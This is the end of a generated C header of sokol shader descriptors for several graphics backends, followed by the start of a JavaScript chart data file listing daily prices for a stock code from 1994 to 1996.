desc.fs.uniform_blocks[3].size = 64;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_IOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_source_metal_ios;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 256;
desc.fs.source = fs_source_metal_ios;
desc.fs.entry = "main0";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_SIMULATOR) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_source_metal_sim;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 256;
desc.fs.source = fs_source_metal_sim;
desc.fs.entry = "main0";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
return 0;
}
static inline const sg_shader_desc* render3d_shadow_map_shader_desc(sg_backend backend) {
#if defined(SOKOL_GLCORE33)
if (backend == SG_BACKEND_GLCORE33) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_shadow_map_source_glsl330;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_shadow_map_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_shadow_map_source_glsl330;
desc.fs.entry = "main";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_GLCORE33 */
#if defined(SOKOL_GLES2)
if (backend == SG_BACKEND_GLES2) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_shadow_map_source_glsl100;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_shadow_map_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_shadow_map_source_glsl100;
desc.fs.entry = "main";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_GLES2 */
#if defined(SOKOL_GLES3)
if (backend == SG_BACKEND_GLES3) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_shadow_map_source_glsl300es;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_shadow_map_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_shadow_map_source_glsl300es;
desc.fs.entry = "main";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_GLES3 */
#if defined(SOKOL_D3D11)
if (backend == SG_BACKEND_D3D11) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].sem_name = "TEXCOORD";
desc.attrs[0].sem_index = 0;
desc.attrs[1].sem_name = "TEXCOORD";
desc.attrs[1].sem_index = 1;
desc.attrs[2].sem_name = "TEXCOORD";
desc.attrs[2].sem_index = 2;
desc.attrs[3].sem_name = "TEXCOORD";
desc.attrs[3].sem_index = 3;
desc.attrs[4].sem_name = "TEXCOORD";
desc.attrs[4].sem_index = 4;
desc.vs.source = vs_shadow_map_source_hlsl5;
desc.vs.d3d11_target = "vs_5_0";
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_shadow_map_source_hlsl5;
desc.fs.d3d11_target = "ps_5_0";
desc.fs.entry = "main";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_D3D11 */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_MACOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_shadow_map_source_metal_macos;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_shadow_map_source_metal_macos;
desc.fs.entry = "main0";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_IOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_shadow_map_source_metal_ios;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_shadow_map_source_metal_ios;
desc.fs.entry = "main0";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_SIMULATOR) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_shadow_map_source_metal_sim;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_shadow_map_source_metal_sim;
desc.fs.entry = "main0";
desc.label = "render3d_shadow_map_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
return 0;
}
static inline const sg_shader_desc* render3d_skybox_shader_desc(sg_backend backend) {
#if defined(SOKOL_GLCORE33)
if (backend == SG_BACKEND_GLCORE33) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_skybox_source_glsl330;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_skybox_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_skybox_source_glsl330;
desc.fs.entry = "main";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_GLCORE33 */
#if defined(SOKOL_GLES2)
if (backend == SG_BACKEND_GLES2) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_skybox_source_glsl100;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_skybox_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_skybox_source_glsl100;
desc.fs.entry = "main";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_GLES2 */
#if defined(SOKOL_GLES3)
if (backend == SG_BACKEND_GLES3) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_skybox_source_glsl300es;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_skybox_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 4;
desc.fs.source = fs_skybox_source_glsl300es;
desc.fs.entry = "main";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_GLES3 */
#if defined(SOKOL_D3D11)
if (backend == SG_BACKEND_D3D11) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].sem_name = "TEXCOORD";
desc.attrs[0].sem_index = 0;
desc.attrs[1].sem_name = "TEXCOORD";
desc.attrs[1].sem_index = 1;
desc.attrs[2].sem_name = "TEXCOORD";
desc.attrs[2].sem_index = 2;
desc.attrs[3].sem_name = "TEXCOORD";
desc.attrs[3].sem_index = 3;
desc.attrs[4].sem_name = "TEXCOORD";
desc.attrs[4].sem_index = 4;
desc.vs.source = vs_skybox_source_hlsl5;
desc.vs.d3d11_target = "vs_5_0";
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_skybox_source_hlsl5;
desc.fs.d3d11_target = "ps_5_0";
desc.fs.entry = "main";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_D3D11 */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_MACOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_skybox_source_metal_macos;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_skybox_source_metal_macos;
desc.fs.entry = "main0";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_IOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_skybox_source_metal_ios;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_skybox_source_metal_ios;
desc.fs.entry = "main0";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_SIMULATOR) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_skybox_source_metal_sim;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 64;
desc.fs.source = fs_skybox_source_metal_sim;
desc.fs.entry = "main0";
desc.fs.images[0].name = "imageSkybox";
desc.fs.images[0].image_type = SG_IMAGETYPE_CUBE;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_skybox_shader";
}
return &desc;
}
#endif /* SOKOL_METAL */
return 0;
}
|
daodao10/chart | sg/S41_d.js | var data=[['19940103',2.1600],
['19940104',2.1320],
['19940105',2.1870],
['19940106',2.1320],
['19940107',2.1460],
['19940110',2.1600],
['19940111',2.0420],
['19940112',1.8690],
['19940113',1.8200],
['19940114',1.9590],
['19940117',1.9100],
['19940118',1.9100],
['19940119',1.9240],
['19940120',1.9100],
['19940121',1.9100],
['19940124',1.9380],
['19940125',1.8560],
['19940126',1.8340],
['19940127',1.8690],
['19940128',1.9240],
['19940131',1.9380],
['19940201',1.9240],
['19940202',1.9040],
['19940203',1.9100],
['19940204',1.9180],
['19940207',1.8760],
['19940208',1.8970],
['19940209',1.9380],
['19940214',1.9380],
['19940215',1.9240],
['19940216',1.9180],
['19940217',1.9320],
['19940218',1.9320],
['19940221',1.9100],
['19940222',1.9380],
['19940223',1.9100],
['19940224',1.9180],
['19940225',1.9320],
['19940228',1.9320],
['19940301',1.9240],
['19940302',1.8900],
['19940303',1.8760],
['19940304',1.8760],
['19940307',1.8690],
['19940308',1.8340],
['19940309',1.8340],
['19940310',1.7720],
['19940311',1.7930],
['19940315',1.7720],
['19940316',1.7030],
['19940317',1.6270],
['19940318',1.5920],
['19940321',1.5230],
['19940322',1.5440],
['19940323',1.5920],
['19940324',1.6960],
['19940325',1.7030],
['19940328',1.6470],
['19940329',1.6690],
['19940330',1.7100],
['19940331',1.7100],
['19940404',1.6960],
['19940405',1.6690],
['19940406',1.7030],
['19940407',1.6960],
['19940408',1.6960],
['19940411',1.7170],
['19940412',1.7170],
['19940413',1.7170],
['19940414',1.7100],
['19940415',1.7380],
['19940418',1.7440],
['19940419',1.7310],
['19940420',1.7310],
['19940421',1.7240],
['19940422',1.7440],
['19940425',1.7860],
['19940426',1.7650],
['19940427',1.7790],
['19940428',1.8200],
['19940429',1.9040],
['19940503',1.9040],
['19940504',1.8830],
['19940505',1.8900],
['19940506',1.8900],
['19940509',1.8620],
['19940510',1.8620],
['19940511',1.8560],
['19940512',1.8420],
['19940513',1.7930],
['19940516',1.7790],
['19940517',1.7790],
['19940518',1.8340],
['19940519',1.8420],
['19940520',1.8690],
['19940523',1.8620],
['19940524',1.8560],
['19940526',1.8480],
['19940527',1.8760],
['19940530',1.8760],
['19940531',1.8830],
['19940601',1.8690],
['19940602',1.8690],
['19940603',1.8690],
['19940606',1.8970],
['19940607',1.8970],
['19940608',1.8690],
['19940609',1.8620],
['19940610',1.8340],
['19940613',1.8140],
['19940614',1.7460],
['19940615',1.6970],
['19940616',1.6970],
['19940617',1.7380],
['19940620',1.7380],
['19940621',1.6970],
['19940622',1.7050],
['19940623',1.7210],
['19940624',1.7210],
['19940627',1.5740],
['19940628',1.6470],
['19940629',1.6390],
['19940630',1.6390],
['19940701',1.6310],
['19940704',1.6060],
['19940705',1.6060],
['19940706',1.6230],
['19940707',1.6150],
['19940708',1.6150],
['19940711',1.6150],
['19940712',1.6310],
['19940713',1.6230],
['19940714',1.6390],
['19940715',1.6800],
['19940718',1.7130],
['19940719',1.6880],
['19940720',1.8190],
['19940721',1.7790],
['19940722',1.8030],
['19940725',1.8190],
['19940726',1.8600],
['19940727',1.8600],
['19940728',1.7950],
['19940729',1.7870],
['19940801',1.7950],
['19940802',1.8110],
['19940803',1.8110],
['19940804',1.8030],
['19940805',1.7950],
['19940808',1.8030],
['19940810',1.8110],
['19940811',1.8520],
['19940812',1.8690],
['19940815',1.8520],
['19940816',1.8280],
['19940817',1.8600],
['19940818',1.8440],
['19940819',1.8440],
['19940822',1.8030],
['19940823',1.8280],
['19940824',1.8280],
['19940825',1.8190],
['19940826',1.8030],
['19940829',1.8030],
['19940830',1.7620],
['19940831',1.7870],
['19940901',1.8030],
['19940902',1.8110],
['19940905',1.8110],
['19940906',1.8110],
['19940907',1.8030],
['19940908',1.7950],
['19940909',1.8030],
['19940912',1.7790],
['19940913',1.7870],
['19940914',1.7790],
['19940915',1.7790],
['19940916',1.7870],
['19940919',1.7700],
['19940920',1.7620],
['19940921',1.7620],
['19940922',1.7460],
['19940923',1.7620],
['19940926',1.7620],
['19940927',1.7620],
['19940928',1.8030],
['19940929',1.8190],
['19940930',1.8190],
['19941003',1.8690],
['19941004',1.8690],
['19941005',1.8520],
['19941006',1.8520],
['19941007',1.8360],
['19941010',1.7950],
['19941011',1.8190],
['19941012',1.8360],
['19941013',1.8520],
['19941014',1.9010],
['19941017',1.9590],
['19941018',2.1310],
['19941019',2.1470],
['19941020',2.1970],
['19941021',2.1720],
['19941024',2.1310],
['19941025',2.2130],
['19941026',2.2210],
['19941027',2.1880],
['19941028',2.1800],
['19941031',2.1800],
['19941101',2.1640],
['19941103',2.2050],
['19941104',2.2460],
['19941107',2.1560],
['19941108',2.1720],
['19941109',2.1230],
['19941110',2.1310],
['19941111',2.1060],
['19941114',2.1150],
['19941115',2.1390],
['19941116',2.1310],
['19941117',2.1720],
['19941118',2.1970],
['19941121',2.2050],
['19941122',2.1560],
['19941123',2.0980],
['19941124',2.0900],
['19941125',2.0980],
['19941128',2.1060],
['19941129',2.0900],
['19941130',2.0980],
['19941201',2.1150],
['19941202',2.1060],
['19941205',2.1230],
['19941206',2.1060],
['19941207',2.1060],
['19941208',2.0490],
['19941209',1.9750],
['19941212',2.0330],
['19941213',2.0080],
['19941214',2.0080],
['19941215',2.0490],
['19941216',2.0490],
['19941219',2.0490],
['19941220',2.0490],
['19941221',2.0410],
['19941222',2.0330],
['19941223',2.0490],
['19941227',2.0490],
['19941228',2.0490],
['19941229',2.0490],
['19941230',2.0490],
['19950103',2.0570],
['19950104',2.0820],
['19950105',2.0820],
['19950106',2.0820],
['19950109',2.0570],
['19950110',2.0490],
['19950111',2.0490],
['19950112',2.0160],
['19950113',2.0330],
['19950116',2.0080],
['19950117',1.9670],
['19950118',1.9510],
['19950119',1.9010],
['19950120',1.8770],
['19950123',1.8110],
['19950124',1.8110],
['19950125',1.8280],
['19950126',1.8280],
['19950127',1.8360],
['19950130',1.9010],
['19950202',1.9670],
['19950203',1.9920],
['19950206',1.8280],
['19950207',1.8280],
['19950208',1.7790],
['19950209',1.7870],
['19950210',1.7700],
['19950213',1.7700],
['19950214',1.7700],
['19950215',1.8030],
['19950216',1.8030],
['19950217',1.8440],
['19950220',1.8440],
['19950221',1.8030],
['19950222',1.8030],
['19950223',1.8030],
['19950224',1.8110],
['19950227',1.7790],
['19950228',1.7700],
['19950301',1.7870],
['19950302',1.7700],
['19950306',1.7620],
['19950307',1.7620],
['19950308',1.7540],
['19950309',1.7700],
['19950310',1.7950],
['19950313',1.7620],
['19950314',1.7700],
['19950315',1.7700],
['19950316',1.7700],
['19950317',1.7700],
['19950320',1.7620],
['19950321',1.7620],
['19950322',1.7540],
['19950323',1.7540],
['19950324',1.7540],
['19950327',1.7210],
['19950328',1.7290],
['19950329',1.7210],
['19950330',1.7210],
['19950331',1.6970],
['19950403',1.7210],
['19950404',1.7050],
['19950405',1.7210],
['19950406',1.7210],
['19950407',1.6800],
['19950410',1.6800],
['19950411',1.6800],
['19950412',1.6800],
['19950413',1.6800],
['19950417',1.6390],
['19950418',1.6060],
['19950419',1.6060],
['19950420',1.6150],
['19950421',1.6150],
['19950424',1.6470],
['19950425',1.6800],
['19950426',1.6800],
['19950427',1.7130],
['19950428',1.7290],
['19950502',1.7460],
['19950503',1.7460],
['19950504',1.7290],
['19950505',1.7380],
['19950508',1.7290],
['19950509',1.7870],
['19950511',1.8440],
['19950512',1.8600],
['19950516',1.9010],
['19950517',1.9590],
['19950518',1.8850],
['19950519',1.8520],
['19950522',1.9010],
['19950523',1.8930],
['19950524',1.8690],
['19950525',1.8520],
['19950526',1.8440],
['19950529',1.8190],
['19950530',1.8110],
['19950531',1.8110],
['19950601',1.8030],
['19950602',1.7950],
['19950605',1.8280],
['19950606',1.8520],
['19950607',1.9010],
['19950608',1.9010],
['19950609',1.8850],
['19950612',1.7790],
['19950613',1.8440],
['19950614',1.8850],
['19950615',1.8440],
['19950616',1.8690],
['19950619',1.8690],
['19950620',1.8690],
['19950621',1.8690],
['19950622',1.8690],
['19950623',1.8690],
['19950626',1.8360],
['19950627',1.8360],
['19950628',1.8280],
['19950629',1.8360],
['19950630',1.8360],
['19950703',1.8440],
['19950704',1.8690],
['19950705',1.8930],
['19950706',1.8850],
['19950707',1.9010],
['19950710',1.9180],
['19950711',1.9100],
['19950712',1.9340],
['19950713',1.9260],
['19950714',1.9260],
['19950717',1.9260],
['19950718',1.9260],
['19950719',1.8850],
['19950720',1.8690],
['19950721',1.8850],
['19950724',1.8850],
['19950725',1.8850],
['19950726',1.9180],
['19950727',1.9180],
['19950728',1.9100],
['19950731',1.9180],
['19950801',1.9100],
['19950802',1.9100],
['19950803',1.9100],
['19950804',1.9100],
['19950807',1.9100],
['19950808',1.9100],
['19950810',1.9180],
['19950811',1.9100],
['19950814',1.9100],
['19950815',1.9100],
['19950816',1.9100],
['19950817',1.9100],
['19950818',1.9100],
['19950821',1.8690],
['19950822',1.8520],
['19950823',1.8520],
['19950824',1.8520],
['19950825',1.8520],
['19950828',1.8190],
['19950829',1.8190],
['19950830',1.8190],
['19950831',1.8190],
['19950901',1.8110],
['19950904',1.7870],
['19950905',1.7870],
['19950906',1.7790],
['19950907',1.7620],
['19950908',1.7620],
['19950911',1.7620],
['19950912',1.7700],
['19950913',1.7790],
['19950914',1.7870],
['19950915',1.7950],
['19950918',1.7700],
['19950919',1.7790],
['19950920',1.7790],
['19950921',1.7620],
['19950922',1.7700],
['19950925',1.7700],
['19950926',1.7620],
['19950927',1.7620],
['19950928',1.7700],
['19950929',1.7700],
['19951002',1.7700],
['19951003',1.7700],
['19951004',1.7700],
['19951005',1.7700],
['19951006',1.7700],
['19951009',1.7700],
['19951010',1.7700],
['19951011',1.7790],
['19951012',1.7870],
['19951013',1.7870],
['19951016',1.7700],
['19951017',1.7700],
['19951018',1.7950],
['19951019',1.7950],
['19951020',1.7950],
['19951024',1.7950],
['19951025',1.7950],
['19951026',1.7950],
['19951027',1.7950],
['19951030',1.7950],
['19951031',1.7950],
['19951101',1.7950],
['19951102',1.7950],
['19951103',1.7950],
['19951106',1.7950],
['19951107',1.7950],
['19951108',1.7950],
['19951109',1.7950],
['19951110',1.7950],
['19951113',1.7790],
['19951114',1.7700],
['19951115',1.7700],
['19951116',1.7700],
['19951117',1.7460],
['19951120',1.7460],
['19951121',1.7460],
['19951122',1.7460],
['19951123',1.7460],
['19951124',1.7380],
['19951127',1.7380],
['19951128',1.7380],
['19951129',1.7380],
['19951130',1.7380],
['19951201',1.7210],
['19951204',1.7540],
['19951205',1.8600],
['19951206',1.9010],
['19951207',1.9010],
['19951208',1.9260],
['19951211',1.9750],
['19951212',1.9750],
['19951213',2.0080],
['19951214',2.0160],
['19951215',2.0080],
['19951218',2.0240],
['19951219',2.0160],
['19951220',2.0000],
['19951221',2.0160],
['19951222',2.0080],
['19951226',2.0080],
['19951227',1.9670],
['19951228',1.9590],
['19951229',1.9420],
['19960102',1.9420],
['19960103',1.9750],
['19960104',2.0330],
['19960105',2.0490],
['19960108',2.0740],
['19960109',2.0570],
['19960110',2.0330],
['19960111',2.0080],
['19960112',2.0080],
['19960115',1.9830],
['19960116',1.9750],
['19960117',1.9510],
['19960118',1.9510],
['19960119',2.0080],
['19960122',2.0490],
['19960123',2.0330],
['19960124',2.0160],
['19960125',2.0160],
['19960126',2.0490],
['19960129',2.0570],
['19960130',2.0490],
['19960131',2.0820],
['19960201',2.1640],
['19960202',2.2620],
['19960205',2.2870],
['19960206',2.2870],
['19960207',2.3600],
['19960208',2.4750],
['19960209',2.3930],
['19960212',2.3110],
['19960213',2.3440],
['19960214',2.3190],
['19960215',2.3280],
['19960216',2.4340],
['19960222',2.4920],
['19960223',2.4420],
['19960226',2.4010],
['19960227',2.3930],
['19960228',2.3690],
['19960229',2.3930],
['19960301',2.4590],
['19960304',2.4180],
['19960305',2.4180],
['19960306',2.3770],
['19960307',2.2950],
['19960308',2.2620],
['19960311',2.2050],
['19960312',2.2540],
['19960313',2.2130],
['19960314',2.2370],
['19960315',2.2620],
['19960318',2.3110],
['19960319',2.3850],
['19960320',2.3690],
['19960321',2.3440],
['19960322',2.3190],
['19960325',2.3190],
['19960326',2.2460],
['19960327',2.1970],
['19960328',2.1310],
['19960329',2.2130],
['19960401',2.2700],
['19960402',2.3030],
['19960403',2.3280],
['19960404',2.2700],
['19960408',2.2210],
['19960409',2.2370],
['19960410',2.2620],
['19960411',2.2780],
['19960412',2.2780],
['19960415',2.3030],
['19960416',2.3030],
['19960417',2.3110],
['19960418',2.3030],
['19960419',2.2950],
['19960422',2.2870],
['19960423',2.2870],
['19960424',2.2620],
['19960425',2.3030],
['19960426',2.2780],
['19960430',2.3110],
['19960502',2.2870],
['19960503',2.2540],
['19960506',2.2540],
['19960507',2.2540],
['19960508',2.1470],
['19960509',2.1230],
['19960510',2.1470],
['19960513',2.1560],
['19960514',2.1470],
['19960515',2.1390],
['19960516',2.1390],
['19960517',2.1060],
['19960520',2.1310],
['19960521',2.1310],
['19960522',2.0820],
['19960523',2.0650],
['19960524',2.0490],
['19960527',2.0490],
['19960528',2.0410],
['19960529',2.0410],
['19960530',2.0410],
['19960603',2.0080],
['19960604',1.9920],
['19960605',1.9920],
['19960606',2.0000],
['19960607',2.0080],
['19960610',1.9830],
['19960611',1.9750],
['19960612',1.9830],
['19960613',1.9920],
['19960614',2.0080],
['19960617',2.0000],
['19960618',1.9590],
['19960619',1.9510],
['19960620',1.9750],
['19960621',1.9920],
['19960624',1.9920],
['19960625',1.9920],
['19960626',1.9670],
['19960627',1.9670],
['19960628',1.9670],
['19960701',1.9420],
['19960702',1.9260],
['19960703',1.9180],
['19960704',1.9180],
['19960705',1.8770],
['19960708',1.8770],
['19960709',1.8770],
['19960710',1.8850],
['19960711',1.8930],
['19960712',1.9010],
['19960715',1.8930],
['19960716',1.8770],
['19960717',1.8770],
['19960718',1.8770],
['19960719',1.8770],
['19960722',1.8600],
['19960723',1.8190],
['19960724',1.8280],
['19960725',1.8280],
['19960726',1.8360],
['19960729',1.8360],
['19960730',1.8360],
['19960731',1.8360],
['19960801',1.8360],
['19960802',1.9100],
['19960805',1.9100],
['19960806',1.8360],
['19960807',1.8360],
['19960808',1.8690],
['19960812',1.8690],
['19960813',1.8690],
['19960814',1.8280],
['19960815',1.8360],
['19960816',1.8520],
['19960819',1.8520],
['19960820',1.8850],
['19960821',1.8930],
['19960822',1.9010],
['19960823',1.9010],
['19960826',1.9010],
['19960827',1.9100],
['19960828',1.9100],
['19960829',1.9100],
['19960830',1.9180],
['19960902',1.9100],
['19960903',1.9100],
['19960904',1.9100],
['19960905',1.9100],
['19960906',1.9100],
['19960909',1.9100],
['19960910',1.9590],
['19960911',1.9920],
['19960912',1.9260],
['19960913',1.9010],
['19960916',1.8930],
['19960917',1.8930],
['19960918',1.9180],
['19960919',1.8930],
['19960920',1.8850],
['19960923',1.8850],
['19960924',1.8850],
['19960925',1.8440],
['19960926',1.8440],
['19960927',1.8280],
['19960930',1.8030],
['19961001',1.8110],
['19961002',1.8280],
['19961003',1.8190],
['19961004',1.8110],
['19961007',1.8030],
['19961008',1.7790],
['19961009',1.7790],
['19961010',1.7620],
['19961011',1.7620],
['19961014',1.7620],
['19961015',1.7210],
['19961016',1.6800],
['19961017',1.6390],
['19961018',1.6640],
['19961021',1.6800],
['19961022',1.6800],
['19961023',1.6880],
['19961024',1.6880],
['19961025',1.6800],
['19961028',1.6800],
['19961029',1.6800],
['19961030',1.6640],
['19961031',1.6560],
['19961101',1.6560],
['19961104',1.6560],
['19961105',1.6560],
['19961106',1.6470],
['19961107',1.6560],
['19961108',1.6470],
['19961112',1.6800],
['19961113',1.6880],
['19961114',1.7210],
['19961115',1.8110],
['19961118',1.7620],
['19961119',1.7620],
['19961120',1.7380],
['19961121',1.7540],
['19961122',1.7790],
['19961125',1.7870],
['19961126',1.8360],
['19961127',1.8770],
['19961128',1.8850],
['19961129',1.8770],
['19961202',1.8690],
['19961203',1.8600],
['19961204',1.8440],
['19961205',1.8440],
['19961206',1.7950],
['19961209',1.8030],
['19961210',1.8440],
['19961211',1.8280],
['19961212',1.8440],
['19961213',1.8440],
['19961216',1.8440],
['19961217',1.7620],
['19961218',1.7460],
['19961219',1.7380],
['19961220',1.7460],
['19961223',1.7460],
['19961224',1.7460],
['19961226',1.7460],
